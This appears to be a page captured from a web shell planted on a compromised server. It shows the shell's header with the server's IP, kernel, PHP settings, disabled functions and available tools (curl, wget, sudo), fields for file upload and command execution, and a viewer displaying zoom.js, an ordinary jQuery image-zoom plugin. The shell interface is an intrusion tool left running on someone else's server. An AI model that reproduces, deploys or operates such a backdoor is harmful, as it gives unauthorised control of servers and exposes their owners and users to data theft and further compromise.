403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2026_03_09_02/skin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2026_03_09_02/skin/js/zoom.js
/* Cloud Zoom V1.0.3
Rev 201209181857
(c) 2010-2012 by R Cecco. <http://www.professorcloud.com>
MIT License
 Please retain this copyright header in all versions of the software
*/
(function ($) {
 var scripts = document.getElementsByTagName("script"),last = scripts[scripts.length-1].src.lastIndexOf('/'),scriptPath = scripts[scripts.length-1].src.slice(0,last);$(document).ready(function (){});function format(str) {for (var i = 1; i < arguments.length; i++) {str = str.replace('%' + (i - 1), arguments[i]);}return str;};function CloudZoom(jWin, opts) {var sImg = $('img', jWin),img1,img2,zoomDiv = null,$mouseTrap = null,lens = null,$tint = null,softFocus = null,$ie6Fix = null,zoomImage,controlTimer = 0,cw, ch, destU = 0,destV = 0,currV = 0,currU = 0,filesLoaded = 0,mx,my,ctx = this, zw;setTimeout(function () {if ($mouseTrap === null) {var w = jWin.width();jWin.parent().append(format('<div style="width:%0px;position:absolute;top:75%;left:%1px;text-align:center" class="cloud-zoom-loading" >Loading...</div>', w / 3, (w / 2) - (w / 6)));$('cloud-zoom-loading', jWin.parent()).css('opacity', 0.5)}}, 200);var ie6FixRemove = function () {if ($ie6Fix !== null) {$ie6Fix.remove();$ie6Fix = null;}};this.removeBits = function () {if (lens) {lens.remove();lens = null;}if ($tint) {$tint.remove();$tint = null;}if (softFocus) {softFocus.remove();softFocus = null;}ie6FixRemove(); $('.cloud-zoom-loading', jWin.parent()).remove();};this.destroy = function () {jWin.data('zoom', null); if ($mouseTrap) {$mouseTrap.unbind();$mouseTrap.remove();$mouseTrap = null;}if (zoomDiv) {zoomDiv.remove();zoomDiv = null;}this.removeBits();};this.fadedOut = function () {if (zoomDiv) {zoomDiv.remove();zoomDiv = null;}this.removeBits();};this.controlLoop = function () {if (lens) { var x = (mx - sImg.offset().left - (cw * 0.5)) >> 0;var y = (my - sImg.offset().top - (ch * 0.5)) >> 0;if (x < 0) {x = 0;}else if (x > (sImg.width() - cw)) {x = (sImg.width() - cw);}if (y < 0) {y = 0;}else if (y > (sImg.height() - ch)) {y = (sImg.height() - ch);}lens.css({left: x,top: y});lens.css('background-position', (-x) + 'px ' + (-y) + 'px');destU = (((x) / sImg.width()) * zoomImage.width) >> 0;destV = (((y) / sImg.height()) * zoomImage.height) >> 0;currU += (destU - currU) / opts.smoothMove;currV += (destV - currV) / opts.smoothMove;zoomDiv.css('background-position', (-(currU >> 0) + 'px ') + (-(currV >> 0) + 'px'));} controlTimer = setTimeout(function () {ctx.controlLoop();}, 30);};this.init2 = function (img, id) {filesLoaded++;if (id === 1) {zoomImage = img;}if (filesLoaded === 2) {this.init();}};this.init = function () {$('.cloud-zoom-loading', jWin.parent()).remove();var $m = $("<div class='mousetrap'></div>");$mouseTrap = jWin.parent().append($m).find(':last');$mouseTrap = $('.mousetrap',jWin.parent());$mouseTrap.css({width:sImg.width(),height:sImg.height(),top:0,left:0,position:'absolute',zIndex:100});$mouseTrap.bind('mousemove touchmove', this, function (event) {mx = event.pageX;my = event.pageY;if (event.type == "touchmove") {var touch = event.originalEvent.touches[0];mx = touch.pageX,my = touch.pageYevent.preventDefault();}}).bind('click', this, function (event) {event.preventDefault();return false;});$mouseTrap.bind('mouseleave touchend', this, function (event) {clearTimeout(controlTimer);if(lens) {lens.fadeOut(299);}if($tint) {$tint.fadeOut(299);}if(softFocus) {softFocus.fadeOut(299);}zoomDiv.fadeOut(300, function () {ctx.fadedOut();});return false;});$mouseTrap.bind('mouseenter touchstart', this, function (event) {mx = event.pageX;my = event.pageY;zw = event.data;if (zoomDiv) {zoomDiv.stop(true, false);zoomDiv.remove();}var xPos = opts.adjustX,yPos = opts.adjustY;var siw = sImg.width();var sih = sImg.height();var w = opts.zoomWidth;var h = opts.zoomHeight;if (opts.zoomWidth == 'auto') {w = siw;}if (opts.zoomHeight == 'auto') {h = sih;}var appendTo = jWin.parent();switch (opts.position) {case 'top':yPos -= h;break;case 'right':xPos += siw;break;case 'bottom':yPos += sih; break;case 'left':xPos -= w;break; case 'inside':w = siw; h = sih; break;default:appendTo = $('#' + opts.position);if (!appendTo.length) {appendTo = jWin;xPos += siw;yPos += sih;} else {w = appendTo.innerWidth();h = appendTo.innerHeight();}}zoomDiv = appendTo.append(format('<div id="cloud-zoom-big" class="cloud-zoom-big" style="display:none;position:absolute;left:%0px;top:%1px;width:%2px;height:%3px;background-image:url(\'%4\');z-index:99;"></div>', xPos, yPos, w, h, zoomImage.src)).find(':last');zoomDiv = $('.cloud-zoom-big',appendTo);if (sImg.attr('title') && opts.showTitle) {zoomDiv.append(format('<div class="cloud-zoom-title">%0</div>', sImg.attr('title'))); $('.cloud-zoom-title', zoomDiv).css('opacity', opts.titleOpacity);}zoomDiv.fadeIn(500);if (lens) {lens.remove();lens = null;}cw = (sImg.width() / zoomImage.width) * zoomDiv.width();ch = (sImg.height() / zoomImage.height) * zoomDiv.height();lens = jWin.append(format("<div class = 'cloud-zoom-lens' style='display:none;z-index:98;position:absolute;width:%0px;height:%1px;'></div>", cw, ch)).find(':last');lens = $('.cloud-zoom-lens',jWin);$mouseTrap.css('cursor', lens.css('cursor'));var noTrans = false;if (opts.tint) {lens.css('background', 'url("' + sImg.attr('src') + '")');$tint = jWin.append(format('<div class="cloud-zoom-tint" style="display:none;position:absolute; left:0px; top:0px; width:%0px; height:%1px; background-color:%2;" />', sImg.width(), sImg.height(), opts.tint)).find(':last');$tint = $('.cloud-zoom-tint',jWin); $tint.css('opacity', opts.tintOpacity); noTrans = true;$tint.fadeIn(500);}if (opts.softFocus) {lens.css('background', 'url("' + sImg.attr('src') + '")');jWin.append(format('<div class="cloud-zoom-soft" style="position:absolute;display:none;top:2px; left:2px; width:%0px; height:%1px;" />', sImg.width() - 2, sImg.height() - 2, opts.tint));softFocus = $('.cloud-zoom-soft',jWin);softFocus.css('background', 'url("' + sImg.attr('src') + '")');softFocus.css('opacity', 0.5);noTrans = true;softFocus.fadeIn(500);}if (!noTrans) {lens.css('opacity', opts.lensOpacity);}if ( opts.position !== 'inside' ) {lens.fadeIn(500);}zw.controlLoop();return;});};img1 = new Image();$(img1).load(function () {ctx.init2(this, 0);});img1.src = sImg.attr('src');img2 = new Image();$(img2).load(function () { ctx.init2(this, 1);});img2.src = jWin.attr('href');}$.fn.CloudZoom = function (options) {try {document.execCommand("BackgroundImageCache", false, true);} catch (e) {}this.each(function () {var	relOpts, opts; rel = $(this).attr('data-zoom').replace(/\:([^,$]+)/g,':\'$1\''); eval('var	a = {' + rel + '}');relOpts = a;if ($(this).is('.cloud-zoom')) {$(this).css({'position': 'relative','display': 'block'});$('img', $(this)).css({'display': 'block'});if ($(this).parent().attr('id') != 'wrap') {$(this).wrap('<div id="wrap" style="top:0px;z-index:1;position:relative;"></div>');}opts = $.extend({}, $.fn.CloudZoom.defaults, options);opts = $.extend({}, opts, relOpts);$(this).data('zoom', new CloudZoom($(this), opts));} else if ($(this).is('.cloud-zoom-gallery')) {opts = $.extend({}, relOpts, options);$(this).data('relOpts', opts);$(this).bind('click', $(this), function (event) {var data = event.data.data('relOpts');$('#' + data.useZoom).data('zoom').destroy();$('#' + data.useZoom).attr('href', event.data.attr('href'));$('#' + data.useZoom + ' img').attr('src', event.data.data('relOpts').smallImage); $('#' + event.data.data('relOpts').useZoom).CloudZoom();$(this).parents('li').addClass('current');$(this).parents('li').siblings().removeClass('current');var container=$(this).parents('.product-view').find(".product-image .cloud-zoom img");container.each(function(i){var img = $(this);var realWidth;var realHeight;$("<img/>").attr("src", $(img).attr("src")).load(function(){realWidth = this.width;if(realWidth<container.width()){$('.product-view .product-image').addClass('zoom_remove')}else{$('.product-view .product-image').removeClass('zoom_remove')}});});return false;});}});return this;};})(jQuery);
function nico_cloud_zoom(){$.fn.CloudZoom.defaults = {zoomWidth:"auto",zoomHeight:"auto",position:"inside",adjustX:0,adjustY:0,adjustY:"",tintOpacity:0.5,lensOpacity:0.5,titleOpacity:0.5,smoothMove:3,showTitle:false};if (jQuery("#cboxLoadedContent .container").length = 0)$('.cloud-zoom, .cloud-zoom-gallery').CloudZoom();else setTimeout(function (){$('.cloud-zoom, .cloud-zoom-gallery').CloudZoom();}, 1000);}$(function(){var containeraa=$(".product-view .product-image .cloud-zoom img");containeraa.each(function(i){var img = $(this);var realWidth;var realHeight;$("<img/>").attr("src", $(img).attr("src")).load(function() {realWidth = this.width;if(realWidth<containeraa.width()){$('.product-view .product-image').addClass('zoom_remove')} else{$('.product-view .product-image').removeClass('zoom_remove')}});});})
nico_cloud_zoom();

Youez - 2016 - github.com/yon3zu
LinuXploit